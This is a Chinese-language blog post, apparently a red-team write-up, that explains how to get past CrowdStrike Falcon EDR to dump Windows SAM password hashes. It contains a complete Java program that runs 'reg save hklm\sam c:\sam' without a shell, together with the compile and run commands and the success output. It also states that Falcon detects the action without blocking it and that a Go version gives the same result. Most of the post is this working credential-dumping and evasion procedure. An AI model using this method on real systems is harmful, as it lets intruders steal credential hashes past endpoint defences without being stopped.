绕过 Crowd Strike Falcon 转储 Windows 哈希

简介: 绕过 Crowd Strike Falcon 转储 Windows 哈希

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文


最近在红队评估中,在实现内网访问后,注意到所有服务器和工作站都受到 Crowd Strike Falcon EDR 的保护。这个工具可以主动阻止大多数已知的攻击。

在这种特殊情况下,我们的任务是从本地 Windows 服务器转储所有哈希(具有本地管理员权限)。


使用传统的转储方式:



 C:\reg save hklm\sam c:\sam
 access denied.

此故障会在 Crowd Strike 控制台上生成日志:



该服务器安装了 Jenkins,我们注意到可以在 jenkins groovy 控制台上执行一些恶意命令。Crowd Strike 无法阻止他们。因此,我们使用 groovy 转储了哈希,但我们发现绕过 Crowd Strike 预防的更简单方法。如果进程由shell(cmd或powershell)调用,它似乎是连接的。



概念证明:


先决条件:最低本地管理员权限。


我们需要在没有shell的情况下执行应用程序(在本例中为:reg.exe)。几乎所有来自公司的服务器都出于某种原因安装了 java。(如果没有安装java,可以下载openjdk,解压使用,无需安装,100%可移植)

我写了一个非常基本的简单代码,只是为了执行这个过程。

 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
 public class FalconBypassTest {
     public static void main(String[] args) {
         ProcessBuilder processBuilder = new ProcessBuilder();
         // Windows
         processBuilder.command("reg.exe", "save", "hklm\\sam", "c:\\sam");
         try {
             Process process = processBuilder.start();
             BufferedReader reader =
                     new BufferedReader(new InputStreamReader(process.getInputStream()));
             String line;
             while ((line = reader.readLine()) != null) {
                 System.out.println(line);
            }
             int exitCode = process.waitFor();
             System.out.println("\nExited with error code : " + exitCode);
        } catch (IOException e) {
             e.printStackTrace();
        } catch (InterruptedException e) {
             e.printStackTrace();
        }
    }
 }

将文件另存为 FalconBypassTest.java。

编译:


javac.exe FalconBypassTest.java

执行:


java.exe FalconBypassTest

执行后,我们收到了操作完成的stdout,提取了SAM文件。


The operation completed successfully.

再次查看控制台,我们可以验证该操作已被检测到,但未被阻止。“不采取行动”。



使用 golang 尝试了相同的 POC,结果是一样的:如果进程被不同于 shell 的东西调用,Falcon 不会采取任何行动。


相关文章
|
7月前
|
Shell PHP Windows
来自红队大佬的经验之谈---命令执行过滤绕过-Windows篇
感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,如何利用windowsit特性进行绕过
|
安全 Windows Shell
DccwBypassUAC - Windows 8.1和10 UAC绕过dccw exe中的WinSxS
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396473 ...
1569 0
|
缓存 安全 数据安全/隐私保护
|
测试技术 Windows C++
Windows Shellcode学习笔记——通过VirtualProtect绕过DEP
本文讲的是Windows Shellcode学习笔记——通过VirtualProtect绕过DEP,在掌握了栈溢出的基本原理和利用方法后,接下来就要研究如何绕过Windows系统对栈溢出利用的重重防护,所以测试环境也从xp转到了Win7(相比xp,Win7的防护更全面)。
3500 0
|
测试技术 Windows 数据安全/隐私保护
Windows Shellcode学习笔记——利用VirtualAlloc绕过DEP
本文讲的是Windows Shellcode学习笔记——利用VirtualAlloc绕过DEP,接着介绍DEP绕过的另一种方法——利用VirtualAlloc绕过DEP。通过VirtualAlloc函数可以申请一段具有可执行属性的内存,相比于VirtualProtect,传入VirtualAlloc...
1836 0
|
测试技术 数据安全/隐私保护 Windows
“密码找回”功能暗藏杀机,可绕过Windows auth &BitLocker
本文讲的是“密码找回”功能暗藏杀机,可绕过Windows auth &BitLocker,当用户忘记密码时,他们经常需要IT支持,这对IT部门造成了巨大的代价。为了降低这些成本,许多公司的IT部门已经实施了自助式机制。
1411 0
|
监控 Windows
渗透技巧——Windows日志的删除与绕过
本文讲的是渗透技巧——Windows日志的删除与绕过,在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录执行等。
3309 0
|
监控 API C++
利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过
本文讲的是利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过,在上篇文章《渗透技巧——Windows日志的删除与绕过》中提到一个绕过Windows日志监控的思路:使用API NtQueryInformationT...
2047 0